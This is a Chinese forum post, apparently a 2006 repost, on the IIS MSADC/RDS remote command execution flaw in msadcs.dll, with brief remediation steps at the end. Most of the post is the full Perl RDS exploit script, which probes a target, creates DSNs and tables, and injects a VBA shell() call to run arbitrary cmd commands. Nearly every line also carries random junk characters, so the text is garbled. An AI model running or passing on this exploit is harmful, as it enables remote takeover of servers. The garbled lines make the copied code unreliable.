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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `Ci4YDaz;k  
>|o_wO  
涉及程序: P(SZ68  
Microsoft NT server =1oNZKBP  
,SScf98,j  
描述: gFPi7 o1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 MFg'YA2/  
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详细: \~X&o% y  
如果你没有时间读详细内容的话,就删除: LW39YMw<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =Mhg  
有关的安全问题就没有了。 5#_tE<uM  
[U_[</L7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7CrpUh  
H/+{e,SW"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 h)E|?b_  
关于利用ODBC远程漏洞的描述,请参看: St>`p-  
GM}C]MVD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm " OGdE_E  
viuiqs5[Bi  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e`sw*m5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3$"/>g/  
" >6&+^BN'  
这里不再论述。 VjTe4$ *  
Sl.o,W^  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /R%^rz'w  
7C5pAb:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (^H5EeGV{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! iMWW%@U^=  
55hyV{L%  
!"! i i$@  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Zu=kT}aGg  
Lht[g9  
#!perl  vbKQ*  
# bag&BHw  
# MSADC/RDS 'usage' (aka exploit) script e}Q>\t45  
# +a]j[#  
# by rain.forest.puppy d_iY&-gq/  
# g+9v$[!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wsfysat$  
# beta test and find errors! M@O2 WB1ws  
dwp: iM  
use Socket; use Getopt::Std; 01nsdZ-  
getopts("e:vd:h:XR", \%args); NQ!<f\m4n  
y#bK,}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; =yh3Nd:u  
taCCw2s-8*  
if (!defined $args{h} && !defined $args{R}) { "=ElCaP}  
print qq~ H56 ^n<tg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -,/3"}<^78  
-h <host> = host you want to scan (ip or domain) P/`m3aSzX.  
-d <seconds> = delay between calls, default 1 second ( H[  
-X = dump Index Server path table, if available M*H< n*  
-v = verbose gV.f*E1C  
-e = external dictionary file for step 5 {~nvs4X  
\kk!Dz*H  
Or a -R will resume a command session &<=e_0zT  
b=_{/F*b?  
~; exit;} .ujj:>  
QmHwn)Ly  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; zS?n>ElI  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -s89)lUkS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} k)i"tpw  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 2) ?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} N Z)b:~a  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !Z-9tYO  
r!~(R+,c  
if (!defined $args{R}){ $ret = &has_msadc; +]_nbWL(%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Hy;901( %  
0IpST  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" +Tp%5+E  
. "cmd /c ";  *0-v!\{  
$in=<STDIN>; chomp $in; bk0Y  
$command="cmd /c " . $in ; vi<X3G6Xh  
6I5o2i  
if (defined $args{R}) {&load; exit;} r/^tzH's  
1GUqT 9)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; pY, O_ t$  
&try_btcustmr; 2 mSD"[%  
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print "\nStep 2: Trying to make our own DSN...";  :4{Qh  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [h^f%  
2q/nAQ+  
print "\nStep 3: Trying known DSNs..."; 3y/1!A3  
&known_dsn; erXy>H[;  
@c0n2 Xcr  
print "\nStep 4: Trying known .mdbs..."; pK<%<dIc  
&known_mdb; %8a=mQl1^  
U%h7h`=F?  
if (defined $args{e}){ 7F=2t_2O  
print "\nStep 5: Trying dictionary of DSN names..."; _IC,9bbg  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } m';#R9\Fz  
.r7D )xNa@  
print "Sorry Charley...maybe next time?\n"; 9^(HXH_f  
exit; >6XDX=JVI  
m**0rpA  
############################################################################## &3WkH W   
DL %S(l  
sub sendraw { # ripped and modded from whisker a5X`jo  
sleep($delay); # it's a DoS on the server! At least on mine... `}[VwQ  
my ($pstr)=@_; p "/(>8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wH+FFXGJs  
die("Socket problems\n"); `i=JjgG@  
if(connect(S,pack "SnA4x8",2,80,$target)){ lj4%(rB=  
select(S); $|=1; Q@7l"8#[t  
print $pstr; my @in=<S>; ESn6D@"  
select(STDOUT); close(S); YW'{|9KnI  
return @in; GSC{F#:z  
} else { die("Can't connect...\n"); }}  \C!%IR  
A<mj8qz  
############################################################################## uE"5cq'B/  
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sub make_header { # make the HTTP request O~${&(  
my $msadc=<<EOT T"n>h  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 g8LT7  
User-Agent: ACTIVEDATA K5 5} Wi  
Host: $ip gCg4;b6g  
Content-Length: $clen 7fap*  
Connection: Keep-Alive .Ln;m8  
L@>^_p$  
ADCClientVersion:01.06 \_lG#p|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 I/^q+l.=`{  
4kWg>F3  
--!ADM!ROX!YOUR!WORLD! <P|`7wfxE  
Content-Type: application/x-varg mGt\7&`  
Content-Length: $reqlen Sg/:n,68  
[SCw<<l<  
EOT 0|.7Kz^  
; $msadc=~s/\n/\r\n/g; <^CYxy  
return $msadc;} >(IITt  
Ix*BI9E  
############################################################################## qgwv=5|  
o}WB(WsG  
sub make_req { # make the RDS request ^zvA?'s  
my ($switch, $p1, $p2)=@_; jz|Wj  
my $req=""; my $t1, $t2, $query, $dsn; B@ZqJw9J[  
A6{t%k~F  
if ($switch==1){ # this is the btcustmr.mdb query i!CKA}",  
$query="Select * from Customers where City=" . make_shell(); g2+l@$W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . s$f+/Hs  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 80{#bb  
eNI kiJ$uS  
elsif ($switch==2){ # this is general make table query j~+[uzW98  
$query="create table AZZ (B int, C varchar(10))"; c'4>D,?1  
$dsn="$p1";} xDPQG`6  
s5c! ^,L8  
elsif ($switch==3){ # this is general exploit table query xaGVu0q  
$query="select * from AZZ where C=" . make_shell(); DePV,.  
$dsn="$p1";} YH /S2D  
`U {o:  
elsif ($switch==4){ # attempt to hork file info from index server S/@dkHI'  
$query="select path from scope()"; fOqS|1rC  
$dsn="Provider=MSIDXS;";} [<#<:h &\  
(t]lP/  
elsif ($switch==5){ # bad query t 3(%UB  
$query="select"; Z:\;R{D  
$dsn="$p1";} J{nyo1A  
jw:4fb  
$t1= make_unicode($query); N&0uXrw  
$t2= make_unicode($dsn); o9U0kI=W  
$req = "\x02\x00\x03\x00"; 8\qCj.>S  
$req.= "\x08\x00" . pack ("S1", length($t1)); 7&;[an^w  
$req.= "\x00\x00" . $t1 ; ) xfc-Q  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z$OF|ZZQ  
$req.= "\x00\x00" . $t2 ; GW>7R6i  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l }2%?d  
return $req;} ;kyL>mV{  
xJ[k#?T'  
############################################################################## ,<uiitOo  
/%J&/2Wz  
sub make_shell { # this makes the shell() statement R,d70w (_  
return "'|shell(\"$command\")|'";} RE`J"&  
AiyvHt  
############################################################################## >D`fp  
0j a  
sub make_unicode { # quick little function to convert to unicode Se^/VVm  
my ($in)=@_; my $out; Z30z<d,j  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \p>]G[g  
return $out;} #.\,y>`  
p:[`%<j0  
############################################################################## 0p:ClM 2O  
o@<6TlZM  
sub rdo_success { # checks for RDO return success (this is kludge) h30QCk  
my (@in) = @_; my $base=content_start(@in); wZ]BY;  
if($in[$base]=~/multipart\/mixed/){ m' Ekp  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} SCfkv|hO  
return 0;} dPH! V6r  
Kh:#S|   
############################################################################## YmO"EWb  
L6[rvM|9_  
sub make_dsn { # this makes a DSN for us D_yY0rRM  
my @drives=("c","d","e","f"); -~<q,p"e  
print "\nMaking DSN: "; fncwe ';?  
foreach $drive (@drives) { (2O} B.6  
print "$drive: "; 6uCk0 B|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . r7Q:l ?F2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Z5*(W;;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !ulLGmUn  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  0'V-  
return 0 if $2 eq "404"; # not found/doesn't exist l# !@{ <  
if($2 eq "200") { Lilk8|?#W  
foreach $line (@results) { +/@ZnE9s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} qa0JQ_?o]  
} return 0;} I7G\X#,iz  
WB=<W#?w7%  
############################################################################## k@t,[  
9s\i(/RxW  
sub verify_exists { pzt Zb  
my ($page)=@_; $@u^Jt, ?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -aH?7HV}  
return $results[0];} CJ}@R.Zy  
J++sTQ(!?  
############################################################################## 2=Y_Qrhi  
n6%jhv9H  
sub try_btcustmr { F;MT4*4  
my @drives=("c","d","e","f"); *nsnX/e(-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )HzITsFZKT  
eX l%Qs#Y  
foreach $dir (@dirs) { Z z; <P  
print "$dir -> "; # fun status so you can see progress -EkDG]my  
foreach $drive (@drives) { V&,<,iNN  
print "$drive: "; # ditto G8(i).Q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; soqNzdTB2  
$reqlenlen=length( "$reqlen" ); @8<uAu%  
$clen= 206 + $reqlenlen + $reqlen; Cj4b]*Q,  
/qkIoF2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); H8t{ >C)]  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} [^(R1K  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} "PX3%II  
Ji}IV  
############################################################################## }_kI>  
[>J~M!yu:r  
sub odbc_error { l LD)i J1  
my (@in)=@_; my $base; Acq>M^E3  
my $base = content_start(@in); ^$Eiz.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6dS1\Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4|Gs(^nU  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rd 35)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dpGQ0EzH^  
return $in[$base+4].$in[$base+5].$in[$base+6];} 6m{$rBR  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; N>6yacTB  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . D 917[ <$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} v$Y1+Ep9  
%}]4Nsde  
############################################################################## i;'X}KW  
N13;hB<  
sub verbose { |7Xpb  
my ($in)=@_; %]sEt{  
return if !$verbose; .McoW7|Y  
print STDOUT "\n$in\n";} l6DIsR  
U`nS` p  
############################################################################## b5 C}K  
>yT@?!/Q>'  
sub save { b}U&bFl  
my ($p1, $p2, $p3, $p4)=@_; gl7vM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @~U6=(+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K"6+X|yxE  
close OUT;} X3=Jp'p$h  
twHM~cTS  
############################################################################## m6Cd^'J9^  
$*)(8Cl  
sub load { xE-`Bb  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'S D|ObBY  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); er7/BE&  
@p=<IN>; close(IN); }!7DF  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =|V]8 tN  
$target= inet_aton($ip) || die("inet_aton problems"); D*r Zaqy  
print "Resuming to $ip ..."; HYYx*CJ)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Qbt>}?-  
if($p[1]==1) { ^sn>p}Tg  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; NG W{Z~l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; FjLv*K[#d  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >iWf7-:  
if (rdo_success(@results)){print "Success!\n";} k+GK1Yl  
else { print "failed\n"; verbose(odbc_error(@results));}} AXv;r<  
elsif ($p[1]==3){ ?gMrcc/{  
if(run_query("$p[3]")){ 2gR_1*|  
print "Success!\n";} else { print "failed\n"; }} oS|~\,p"  
elsif ($p[1]==4){ M*@ aA XM  
if(run_query($drvst . "$p[3]")){ U1!2nJ]  
print "Success!\n"; } else { print "failed\n"; }} Jq<`j<'9  
exit;} j{-7Pf8A  
o-<_X&"a|5  
############################################################################## KPe.AK,8  
0?;Hmq3  
sub create_table { rxI&;F#  
my ($in)=@_; -/2$P  
$reqlen=length( make_req(2,$in,"") ) - 28; +C;#Qf  
$reqlenlen=length( "$reqlen" ); c7Qa !w  
$clen= 206 + $reqlenlen + $reqlen; [qMO7enu#  
my @results=sendraw(make_header() . make_req(2,$in,"")); V42*4hskL  
return 1 if rdo_success(@results); N\e@$1  
my $temp= odbc_error(@results); verbose($temp); k3.p@8@:  
return 1 if $temp=~/Table 'AZZ' already exists/; uW'4 Kt  
return 0;} YYr&r.6  
y-q?pqt  
############################################################################## lR2;g:&H  
&j@J<*k  
sub known_dsn { GJ_)Cl+5E  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Ns= b&Uyc  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ;fME4Sp  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 17]31  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); iT9Ex9RL  
mKn357:  
foreach $dSn (@dsns) { n}'.6  
print "."; \.|A,G=  
next if (!is_access("DSN=$dSn")); z\d2T%^:g(  
if(create_table("DSN=$dSn")){ \'=}kk`  
print "$dSn successful\n"; Ngc+<  
if(run_query("DSN=$dSn")){ _rVX_   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^J~4~!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?JTyNg4<  
Xq!tXJ)  
############################################################################## 2Wf qgR[3  
koY8=lh/  
sub is_access { HMd)64(  
my ($in)=@_; wSF#;lqd  
$reqlen=length( make_req(5,$in,"") ) - 28; 7[0k5-  
$reqlenlen=length( "$reqlen" ); ^Es)?>eah  
$clen= 206 + $reqlenlen + $reqlen; Nb^:_0&H@  
my @results=sendraw(make_header() . make_req(5,$in,"")); A0u:Fm{E  
my $temp= odbc_error(@results); A"VXs1>_^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); L([>yQZ  
return 0;} ''Ec-b6Q-  
6mpUk.M"  
############################################################################## 1)Bi>X  
x#mk[SV  
sub run_query { iquGLwJ  
my ($in)=@_; tah%jRfT&  
$reqlen=length( make_req(3,$in,"") ) - 28; 6ng g*kE<  
$reqlenlen=length( "$reqlen" ); pT$AdvI]  
$clen= 206 + $reqlenlen + $reqlen; j/|qge4  
my @results=sendraw(make_header() . make_req(3,$in,"")); o}Np}PE6  
return 1 if rdo_success(@results); 1*b%C"C  
my $temp= odbc_error(@results); verbose($temp); /loN Outw  
return 0;} Y @&nW  
C YKGf1;If  
############################################################################## 4 jro4B`  
:''0z  
sub known_mdb { ?7a[| -  
my @drives=("c","d","e","f","g"); boovCW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _>64XUZ<n  
my $dir, $drive, $mdb; k]5L\]>y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f+AIxSw  
ox#4|<qM  
# this is sparse, because I don't know of many R~-q! nC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", HX*U2<^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -;z\BW5 y  
"\\system32\\certmdb.mdb", \vQ (  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -.{7;6:(k  
Big-)7?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xGL"N1  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1sA-BQL  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tjt#VFq?  
"\\cfusion\\cfapps\\security\\realm_.mdb", R!CUR~F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2eYkWHi  
"\\cfusion\\database\\cfexamples.mdb", WLH2B1_):  
"\\cfusion\\database\\cfsnippets.mdb", 6j#5Ag:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", e(A&VIp  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", (qdk &  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r; !us~  
"\\cfusion\\database\\smpolicy.mdb", v)EJ|2`  
"\\cfusion\\database\cypress.mdb", ly+7klQ;.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", t-/^O  
"\\website\\cgi-win\\dbsample.mdb", '"a8<7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]d FWIvC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zV#k #/$  
); #these are just p9J(,}  
foreach $drive (@drives) { u c8>B&B%  
foreach $dir (@dirs){ 3{z }[@N  
foreach $mdb (@sysmdbs) { wB{-]\H`\  
print "."; c\opPhJ! 0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9UX-)!  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; lM]7@A  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ V qf}(3K0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; J u7AxTf~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} WObfHAp.  
'yqp   
foreach $drive (@drives) { r38CPdE;}  
foreach $mdb (@mdbs) { IU/*YI%W  
print "."; Gf>T{Q`,is  
if(create_table($drv . $drive . $dir . $mdb)){ Im =E?t  
print "\n" . $drive . $dir . $mdb . " successful\n"; N?p $-{  
if(run_query($drv . $drive . $dir . $mdb)){ MwZ`NH|n3"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 42~;/4  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;lldxS  
} bbnAmZ   
F-t-d1w6  
############################################################################## =y ff.3mW\  
x<].mx  
sub hork_idx { mtp[]  
print "\nAttempting to dump Index Server tables...\n"; g6S8@b))|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; /D~:Ufw  
$reqlen=length( make_req(4,"","") ) - 28; f3O3pIA  
$reqlenlen=length( "$reqlen" ); 7~ 2X/  
$clen= 206 + $reqlenlen + $reqlen; }  ?  
my @results=sendraw2(make_header() . make_req(4,"","")); !&X}? NK  
if (rdo_success(@results)){ /3fo=7G6  
my $max=@results; my $c; my %d; a)xN(xp##  
for($c=19; $c<$max; $c++){ [}Nfs3IlBw  
$results[$c]=~s/\x00//g; vwg\qKqSM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7dLPy[8";t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2>mDT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G$q=WM!%#s  
$d{"$1$2"}="";} v{I:Wxe  
foreach $c (keys %d){ print "$c\n"; } 6SpkeXL  
} else {print "Index server doesn't seem to be installed.\n"; }} jtA Yp3M-$  
mu*wX'.'  
############################################################################## 6oC(09  
}[1I_)  
sub dsn_dict { tTY(I1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); /dCZoz~~T  
while(<IN>){ |_-FQ~Hf F  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7eY*Y"GX  
next if (!is_access("DSN=$dSn")); y- g5`@  
if(create_table("DSN=$dSn")){ " jy'Dpy0m  
print "$dSn successful\n"; {8E hC/=  
if(run_query("DSN=$dSn")){ 9nB:=`T9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #<)u%)`  
print "Something's borked. Use verbose next time\n";}}} WL>"hkx  
print "\n"; close(IN);} 0L|A  
@o8\`G  
############################################################################## jA6:-Gz  
n U/v(lN  
sub sendraw2 { # ripped and modded from whisker z}Xn>-N-  
sleep($delay); # it's a DoS on the server! At least on mine... {BgGG@e  
my ($pstr)=@_; 98A ;R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {>Zc#U'  
die("Socket problems\n"); 2mI=V.X[&  
if(connect(S,pack "SnA4x8",2,80,$target)){ #b:8-Lt:M  
print "Connected. Getting data"; 2@=JIMtc  
open(OUT,">raw.out"); my @in; /mvuSNk  
select(S); $|=1; print $pstr; R}*e%EG/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} i_V~SC`  
close(OUT); select(STDOUT); close(S); return @in; )Nk^;[  
} else { die("Can't connect...\n"); }} 0F)Y[{h<  
eEXer>Rm   
############################################################################## Qu!Lc:oM?  
0IxXhu6v  
sub content_start { # this will take in the server headers ) =sm{R%T  
my (@in)=@_; my $c; oC"c%e8  
for ($c=1;$c<500;$c++) { {p+7QlgK  
if($in[$c] =~/^\x0d\x0a/){ 2\W[ ItxL0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _a^%V9t  
else { return $c+1; }}} N^B YNqr  
return -1;} # it should never get here actually rm<(6zY  
0d~>zKho  
############################################################################## @MS;qoc  
l$z\8]x  
sub funky { ]_@5LvI  
my (@in)=@_; my $error=odbc_error(@in); sd xl@  
if($error=~/ADO could not find the specified provider/){ V07e29w  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; EJ"[{AV  
exit;} 6*le(^y`  
if($error=~/A Handler is required/){ Jn-iIl  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1 @tVfn}  
exit;} tUH#%  
if($error=~/specified Handler has denied Access/){ Q3*@m  
print "\nServer has custom handler filters (they most likely are patched)\n"; Op A  
exit;}} d\+smED  
t?iCq1  
############################################################################## x~rIr#o  
"JT R5;`w  
sub has_msadc { ;"Q{dOvp  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); eJIBkFW/3y  
my $base=content_start(@results); MPhO#;v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); FE,&_J"  
return 0;} M S)(\&N  
1$]4g/":o  
######################## ;<O Iu&,*  
B0T[[%~3M  
`9SuDuw;s  
解决方案: 80U07tJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LzEs_B=9  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 p)NhV  
{ AdPC?R`  
拿出来充数 哈哈
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